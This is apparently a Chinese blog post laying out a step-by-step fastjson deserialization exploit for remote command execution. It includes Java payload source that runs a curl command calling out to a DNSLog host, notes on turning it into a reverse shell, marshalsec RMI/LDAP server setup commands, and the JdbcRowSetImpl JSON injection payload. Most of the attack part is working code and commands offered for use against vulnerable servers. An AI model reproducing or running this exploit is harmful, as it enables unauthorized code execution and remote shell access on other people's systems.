• fastjson 漏洞利用 命令执行


    如果你已经用DNSLog之类的工具,探测到了某个url有fastjson问题,那么接着可以试试能不能反弹shell,由于反弹shell步骤多,容易不成功,我就简化一下流程,改成执行命令,执行curl命令。

    1. 准备一个Payload

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class Exploit {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    
    # 如果想反弹shell ,那么修改这一句就行了 String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
    

    我一般在本地编辑,然后用javac Exploit.java,得到Expoit.class ,上传公网服务器里,如果你vim刷得6,这些步骤完全可以在服务器上操作。

    然后在将这个Expoit.class 上传到你到服务器上去。

    2. 服务器上启动 rmi

    在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

    https://github.com/mbechler/marshalsec
    

    需要用maven进行生成jar包,进入marshalsec目录后,执行如下命令:

    git clone https://github.com/mbechler/marshalsec.git
    cd marshalse
    mvn clean package -Dmaven.test.skip=true
    

    之后使用过的是这个包 marshalsec-0.0.3-SNAPSHOT-all.jar,

    可以移动到仍意目录都可以, 最好把Expoit.class和它放在同一个目录下。

    在当前目录下,打开一个web服务器:

    python -m SimpleHTTPServer 8000
    

    然后启动rmi,

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit
    
    # 如果想反弹shell,加个端口就行了
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit 9999
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit 9999
    

    如果命令执行成功,会出现如下监听情况

    3. 向目标注入payload

    可以用burp发包,也可以用脚本发包,都一样,

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/Exploit","autoCommit":true}
    

    然后去DNSlog看看有没有访问记录即可,没有记录都话,就比较难说了,可能网络问题、环境问题、步骤有问题、fastjson版本不是对应版本、java版本问题,这种就自己探索吧。


    参考

    https://www.cnblogs.com/sijidou/p/13121332.html

  • 相关阅读:
    微服务基础——厉害了!API网关
    11.11 大促背后的秘密——智能合图
    那些我们对2019技术世界趋势的预测都说准了吗?
    DevOps云翼日志服务实践
    技术沙龙|原来落地AI应用是这么回事儿!
    直击JDD | 京东开启技术服务元年:携手合作伙伴,共创产业未来
    直击JDD | 徐雷:智能化零售,以技术为驱动力的突破路径
    直击JDD | 陈生强:京东数科的底层是数字化操作系统
    干货 | Spark Streaming 和 Flink 详细对比
    持续集成与自动化部署
  • 原文地址:https://www.cnblogs.com/mysticbinary/p/13522149.html
Copyright © 2020-2023  润新知